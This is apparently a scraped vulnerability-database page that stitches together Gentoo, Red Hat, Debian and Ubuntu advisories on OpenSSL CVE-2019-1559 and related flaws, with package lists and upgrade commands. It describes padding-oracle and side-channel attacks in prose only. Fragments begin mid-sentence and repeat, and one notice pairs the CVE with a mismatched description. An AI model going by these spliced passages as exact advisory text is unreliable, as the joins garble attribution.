-------------------------------------------------------------------
1 dev-libs/openssl < 1.0.2r >= 1.0.2r
Description
Multiple vulnerabilities have been discovered in OpenSSL. Please review the CVE identifiers referenced below for details.
Impact
A remote attacker to obtain sensitive information, caused by the failure to immediately close the TCP connection after the hosts encounter a zero-length record with valid padding.
A local attacker could run a malicious process next to legitimate processes using the architectureas parallel thread running capabilities to leak encrypted data from the CPU's internal processes.
Workaround
There is no known workaround at this time.
Resolution
All OpenSSL users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=dev-libs/openssl-1.0.2r"
References
[ 1 ] CVE-2018-5407 https://nvd.nist.gov/vuln/detail/CVE-2018-5407 [ 2 ] CVE-2019-1559 https://nvd.nist.gov/vuln/detail/CVE-2019-1559
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
https://security.gentoo.org/glsa/201903-10
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.
License
Copyright 2019 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
https://creativecommons.org/licenses/by-sa/2.5 . 6) - i386, x86_64
- Description:
Red Hat JBoss Web Server is a fully integrated and certified set of components for hosting Java web applications. It is comprised of the Apache Tomcat Servlet container, JBoss HTTP Connector (mod_cluster), the PicketLink Vault extension for Apache Tomcat, and the Tomcat Native library. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Moderate: openssl security and bug fix update Advisory ID: RHSA-2019:2304-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2019:2304 Issue date: 2019-08-06 CVE Names: CVE-2018-0734 CVE-2019-1559 ==================================================================== 1. Summary:
An update for openssl is now available for Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
- Description:
OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols, as well as a full-strength general-purpose cryptography library.
Security Fix(es):
-
openssl: 0-byte record padding oracle (CVE-2019-1559)
-
openssl: timing side channel attack in the DSA signature algorithm (CVE-2018-0734)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Red Hat Enterprise Linux 7.7 Release Notes linked from the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted.
- Bugs fixed (https://bugzilla.redhat.com/):
1644364 - CVE-2018-0734 openssl: timing side channel attack in the DSA signature algorithm 1649568 - openssl: microarchitectural and timing side channel padding oracle attack against RSA 1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle
- Package List:
Red Hat Enterprise Linux Client (v. 7):
Source: openssl-1.0.2k-19.el7.src.rpm
x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: openssl-1.0.2k-19.el7.src.rpm
x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: openssl-1.0.2k-19.el7.src.rpm
ppc64: openssl-1.0.2k-19.el7.ppc64.rpm openssl-debuginfo-1.0.2k-19.el7.ppc.rpm openssl-debuginfo-1.0.2k-19.el7.ppc64.rpm openssl-devel-1.0.2k-19.el7.ppc.rpm openssl-devel-1.0.2k-19.el7.ppc64.rpm openssl-libs-1.0.2k-19.el7.ppc.rpm openssl-libs-1.0.2k-19.el7.ppc64.rpm
ppc64le: openssl-1.0.2k-19.el7.ppc64le.rpm openssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm openssl-devel-1.0.2k-19.el7.ppc64le.rpm openssl-libs-1.0.2k-19.el7.ppc64le.rpm
s390x: openssl-1.0.2k-19.el7.s390x.rpm openssl-debuginfo-1.0.2k-19.el7.s390.rpm openssl-debuginfo-1.0.2k-19.el7.s390x.rpm openssl-devel-1.0.2k-19.el7.s390.rpm openssl-devel-1.0.2k-19.el7.s390x.rpm openssl-libs-1.0.2k-19.el7.s390.rpm openssl-libs-1.0.2k-19.el7.s390x.rpm
x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64: openssl-debuginfo-1.0.2k-19.el7.ppc.rpm openssl-debuginfo-1.0.2k-19.el7.ppc64.rpm openssl-perl-1.0.2k-19.el7.ppc64.rpm openssl-static-1.0.2k-19.el7.ppc.rpm openssl-static-1.0.2k-19.el7.ppc64.rpm
ppc64le: openssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm openssl-perl-1.0.2k-19.el7.ppc64le.rpm openssl-static-1.0.2k-19.el7.ppc64le.rpm
s390x: openssl-debuginfo-1.0.2k-19.el7.s390.rpm openssl-debuginfo-1.0.2k-19.el7.s390x.rpm openssl-perl-1.0.2k-19.el7.s390x.rpm openssl-static-1.0.2k-19.el7.s390.rpm openssl-static-1.0.2k-19.el7.s390x.rpm
x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: openssl-1.0.2k-19.el7.src.rpm
x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2018-0734 https://access.redhat.com/security/cve/CVE-2019-1559 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.7_release_notes/index
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks.
The following packages have been upgraded to a later upstream version: imgbased (1.1.9), ovirt-node-ng (4.3.5), redhat-release-virtualization-host (4.3.5), redhat-virtualization-host (4.3.5). Bugs fixed (https://bugzilla.redhat.com/):
1640820 - CVE-2018-16838 sssd: improper implementation of GPOs due to too restrictive permissions
1658366 - CVE-2018-16881 rsyslog: imptcp: integer overflow when Octet-Counted TCP Framing is enabled
1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle
1687920 - RHVH fails to reinstall if required size is exceeding the available disk space due to anaconda bug
1694065 - CVE-2019-0161 edk2: stack overflow in XHCI causing denial of service
1702223 - Rebase RHV-H on RHEL 7.7
1709829 - CVE-2019-10139 cockpit-ovirt: admin and appliance passwords saved in plain text variable file during HE deployment
1718388 - CVE-2019-10160 python: regression of CVE-2019-9636 due to functional fix to allow port numbers in netloc
1720156 - RHVH 4.3.4 version info is incorrect in plymouth and "/etc/os-release"
1720160 - RHVH 4.3.4: Incorrect info in /etc/system-release-cpe
1720310 - RHV-H post-installation scripts failing, due to existing tags
1720434 - RHVH 7.7 brand is wrong in Anaconda GUI.
1720435 - Failed to install RHVH 7.7
1720436 - RHVH 7.7 should based on RHEL 7.7 server but not workstation.
1724044 - Failed dependencies occur during install systemtap package.
1726534 - dhclient fails to load libdns-export.so.1102 after upgrade if the user installed library is not persisted on the new layer
1727007 - Update RHVH 7.7 branding with new Red Hat logo
1727859 - Failed to boot after upgrading a host with a custom kernel
1728998 - "nodectl info" displays error after RHVH installation
1729023 - The error message is inappropriate when run imgbase layout --init on current layout
6
Show details on source website{
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"description": {
"_id": null,
"data": "If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable \"non-stitched\" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q). OpenSSL Contains an information disclosure vulnerability.Information may be obtained. \nAn attacker can exploit this issue to gain access to sensitive information that may aid in further attacks. The product supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, secure hash algorithms, etc. A vulnerability in OpenSSL could allow an unauthenticated, remote malicious user to access sensitive information on a targeted system. An attacker who is able to perform man-in-the-middle attacks could exploit the vulnerability by persuading a user to access a link that submits malicious input to the affected software. A successful exploit could allow the malicious user to intercept and modify the browser requests and then observe the server behavior in order to conduct a padding oracle attack and decrypt sensitive information. \n\nThis issue was discovered by Juraj Somorovsky, Robert Merget and Nimrod Aviram,\nwith additional investigation by Steven Collison and Andrew Hourselt. It was\nreported to OpenSSL on 10th December 2018. \n\nNote: Advisory updated to make it clearer that AEAD ciphersuites are not impacted. \n\nNote\n====\n\nOpenSSL 1.0.2 and 1.1.0 are currently only receiving security updates. Support\nfor 1.0.2 will end on 31st December 2019. Support for 1.1.0 will end on 11th\nSeptember 2019. Users of these versions should upgrade to OpenSSL 1.1.1. \n\nReferences\n==========\n\nURL for this Security Advisory:\nhttps://www.openssl.org/news/secadv/20190226.txt\n\nNote: the online version of the advisory may be updated with additional details\nover time. \n\nFor details of OpenSSL severity classifications please see:\nhttps://www.openssl.org/policies/secpolicy.html\n. \n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 1.0.2r-1~deb9u1. \n\nFor the detailed security status of openssl1.0 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/openssl1.0\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAlx4WgkACgkQEMKTtsN8\nTjZZCQ//UdQ3Bi/ZSQJ2yzW7MkbuaHla53iUhztTy2Zrype++NX4tXqqBl+xY9Eu\n1D747Y1c2GZ949UaPbIvp8wLCvvxR5A4Tmx4sU3ZOOHXrlsZ5loYg66MslGUOMOU\nz7zaqXTg3as8wfD6ND5Zd4tP0iLyst8Vyi0W7PuFovLoPAc3/XcMaXghSwabs+JY\n3KZuB4UlbOiEnO+6Mf5ghWQYBtN7y/QAVNWREfLmhpx2UY8F7Ia28bR9pXknxkl5\nRuN9WH2BtXI4/JiL0TlkAua51NE+vXciPv+Dh4gkQNPWF/rfL9IL5AxjrgojysHf\nOhZaDcYpOPCXZmiA49JOXJOrIw73Zd9NZmgA1ZXQY1ECQDJ8dB9mSJj1KsUId+Id\neTbRRbWwpzSQd5qc4h4NKjeIwA04a3JecDibD3pwf3+qn9sw8xQ/rfAl2byGRbEN\nFUDT65AIw4CFQDJeIE/vBZqCFhY2aIbRoibpZnp0XsROkw8xKQiH0Kgo7gjsoozT\nwHYK/rlvaZwbnLG7E8pUUj9Xr8OM9Wn/y7kzyHVekGUcDef3F1pPJ9CYsdppx+Zv\nMkoFNxc9GZ+Kn2i4l14I3hvwQ4Sy3owNjnTYFQ28yd+MRZoMw+nyXW1i7OCu+KFH\n7OQkd5qNDh8iotsaUKT0DQOOL74UDgEPv2x02ahujRl+I3YDDdM=NRWo\n-----END PGP SIGNATURE-----\n. ==========================================================================\nUbuntu Security Notice USN-4376-2\nJuly 09, 2020\n\nopenssl vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 14.04 ESM\n- Ubuntu 12.04 ESM\n\nSummary:\n\nSeveral security issues were fixed in OpenSSL. This update provides\nthe corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM. \n\nOriginal advisory details:\n\n Cesar Pereida Garc\\xeda, Sohaib ul Hassan, Nicola Tuveri, Iaroslav Gridin,\n Alejandro Cabrera Aldaya, and Billy Brumley discovered that OpenSSL\n incorrectly handled ECDSA signatures. An attacker could possibly use this\n issue to perform a timing side-channel attack and recover private ECDSA\n keys. A remote attacker could possibly use this issue to decrypt\n data. (CVE-2019-1559)\n\n Bernd Edlinger discovered that OpenSSL incorrectly handled certain\n decryption functions. (CVE-2019-1563)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 14.04 ESM:\n libssl1.0.0 1.0.1f-1ubuntu2.27+esm1\n\nUbuntu 12.04 ESM:\n libssl1.0.0 1.0.1-4ubuntu5.44\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory GLSA 201903-10\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n https://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: Normal\n Title: OpenSSL: Multiple vulnerabilities\n Date: March 14, 2019\n Bugs: #673056, #678564\n ID: 201903-10\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple Information Disclosure vulnerabilities in OpenSSL allow\nattackers to obtain sensitive information. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 dev-libs/openssl \u003c 1.0.2r \u003e= 1.0.2r \n\nDescription\n===========\n\nMultiple vulnerabilities have been discovered in OpenSSL. Please review\nthe CVE identifiers referenced below for details. \n\nImpact\n======\n\nA remote attacker to obtain sensitive information, caused by the\nfailure to immediately close the TCP connection after the hosts\nencounter a zero-length record with valid padding. \n\nA local attacker could run a malicious process next to legitimate\nprocesses using the architectureas parallel thread running capabilities\nto leak encrypted data from the CPU\u0027s internal processes. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll OpenSSL users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=dev-libs/openssl-1.0.2r\"\n\nReferences\n==========\n\n[ 1 ] CVE-2018-5407\n https://nvd.nist.gov/vuln/detail/CVE-2018-5407\n[ 2 ] CVE-2019-1559\n https://nvd.nist.gov/vuln/detail/CVE-2019-1559\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/201903-10\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2019 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttps://creativecommons.org/licenses/by-sa/2.5\n. 6) - i386, x86_64\n\n3. Description:\n\nRed Hat JBoss Web Server is a fully integrated and certified set of\ncomponents for hosting Java web applications. It is comprised of the Apache\nTomcat Servlet container, JBoss HTTP Connector (mod_cluster), the\nPicketLink Vault extension for Apache Tomcat, and the Tomcat Native\nlibrary. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Moderate: openssl security and bug fix update\nAdvisory ID: RHSA-2019:2304-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2019:2304\nIssue date: 2019-08-06\nCVE Names: CVE-2018-0734 CVE-2019-1559\n====================================================================\n1. Summary:\n\nAn update for openssl is now available for Red Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and\nTransport Layer Security (TLS) protocols, as well as a full-strength\ngeneral-purpose cryptography library. \n\nSecurity Fix(es):\n\n* openssl: 0-byte record padding oracle (CVE-2019-1559)\n\n* openssl: timing side channel attack in the DSA signature algorithm\n(CVE-2018-0734)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat\nEnterprise Linux 7.7 Release Notes linked from the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nFor the update to take effect, all services linked to the OpenSSL library\nmust be restarted, or the system rebooted. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1644364 - CVE-2018-0734 openssl: timing side channel attack in the DSA signature algorithm\n1649568 - openssl: microarchitectural and timing side channel padding oracle attack against RSA\n1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle\n\n6. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nppc64:\nopenssl-1.0.2k-19.el7.ppc64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc64.rpm\nopenssl-devel-1.0.2k-19.el7.ppc.rpm\nopenssl-devel-1.0.2k-19.el7.ppc64.rpm\nopenssl-libs-1.0.2k-19.el7.ppc.rpm\nopenssl-libs-1.0.2k-19.el7.ppc64.rpm\n\nppc64le:\nopenssl-1.0.2k-19.el7.ppc64le.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm\nopenssl-devel-1.0.2k-19.el7.ppc64le.rpm\nopenssl-libs-1.0.2k-19.el7.ppc64le.rpm\n\ns390x:\nopenssl-1.0.2k-19.el7.s390x.rpm\nopenssl-debuginfo-1.0.2k-19.el7.s390.rpm\nopenssl-debuginfo-1.0.2k-19.el7.s390x.rpm\nopenssl-devel-1.0.2k-19.el7.s390.rpm\nopenssl-devel-1.0.2k-19.el7.s390x.rpm\nopenssl-libs-1.0.2k-19.el7.s390.rpm\nopenssl-libs-1.0.2k-19.el7.s390x.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nppc64:\nopenssl-debuginfo-1.0.2k-19.el7.ppc.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc64.rpm\nopenssl-perl-1.0.2k-19.el7.ppc64.rpm\nopenssl-static-1.0.2k-19.el7.ppc.rpm\nopenssl-static-1.0.2k-19.el7.ppc64.rpm\n\nppc64le:\nopenssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm\nopenssl-perl-1.0.2k-19.el7.ppc64le.rpm\nopenssl-static-1.0.2k-19.el7.ppc64le.rpm\n\ns390x:\nopenssl-debuginfo-1.0.2k-19.el7.s390.rpm\nopenssl-debuginfo-1.0.2k-19.el7.s390x.rpm\nopenssl-perl-1.0.2k-19.el7.s390x.rpm\nopenssl-static-1.0.2k-19.el7.s390.rpm\nopenssl-static-1.0.2k-19.el7.s390x.rpm\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-0734\nhttps://access.redhat.com/security/cve/CVE-2019-1559\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.7_release_notes/index\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2019 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXUl3otzjgjWX9erEAQgZQQ//XNcjRJGLVmjAzbVGiwxEqfFUvDVNiu97\nfW0vLXuV9TnQTveOVqOAWmmMv2iShkVIRPDvzlOfUsYrrDEYHKr0N38R/fhDEZsM\nWQrJh54WK9IjEGNevLTCePKMhVuII1WnHrLDwZ6hxYGdcap/sJrf+N428b5LvHbM\nB39vWl3vqJYXoiI5dmIYL8ko2SfLms5Cg+dR0hLrNohf9gK2La+jhWb/j2xw6X6q\n/LXw5+hi/G+USbnNFfjt9G0fNjMMZRX2bukUvY6UWJRYTOXpIUOFqqp5w9zgM7tZ\nuX7TMTC9xe6te4mBCAFDdt+kYYLYSHfSkFlFq+S7V0MY8DmnIzqBJE4lJIDTVp9F\nJbrMIPs9G5jdnzPUKZw/gH9WLgka8Q8AYI+KA2xSxFX9VZ20Z+EDDC9/4uwj3i0A\ngLeIB68OwD70jn4sjuQqizr7TCviQhTUoKVd/mTBAxSEFZLcE8Sy/BEYxLPm81z0\nveL16l6pmfg9uLac4V576ImfYNWlBEnJspA5E9K5CqQRPuZpCQFov7/D17Qm8v/x\nIcVKUaXiGquBwzHmIsD5lTCpl7CrGoU1PfNJ6Y/4xrVFOh1DLA4y6nnfysyO9eZx\nzBfuYS2VmfIq/tp1CjagI/DmJC4ezXeE4Phq9jm0EBASXtnLzVmc5j7kkqWjCcfm\nBtpJTAdr1kE=7kKR\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. These packages include redhat-release-virtualization-host,\novirt-node, and rhev-hypervisor. RHVH features a Cockpit user\ninterface for monitoring the host\u0027s resources and performing administrative\ntasks. \n\nThe following packages have been upgraded to a later upstream version:\nimgbased (1.1.9), ovirt-node-ng (4.3.5), redhat-release-virtualization-host\n(4.3.5), redhat-virtualization-host (4.3.5). Bugs fixed (https://bugzilla.redhat.com/):\n\n1640820 - CVE-2018-16838 sssd: improper implementation of GPOs due to too restrictive permissions\n1658366 - CVE-2018-16881 rsyslog: imptcp: integer overflow when Octet-Counted TCP Framing is enabled\n1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle\n1687920 - RHVH fails to reinstall if required size is exceeding the available disk space due to anaconda bug\n1694065 - CVE-2019-0161 edk2: stack overflow in XHCI causing denial of service\n1702223 - Rebase RHV-H on RHEL 7.7\n1709829 - CVE-2019-10139 cockpit-ovirt: admin and appliance passwords saved in 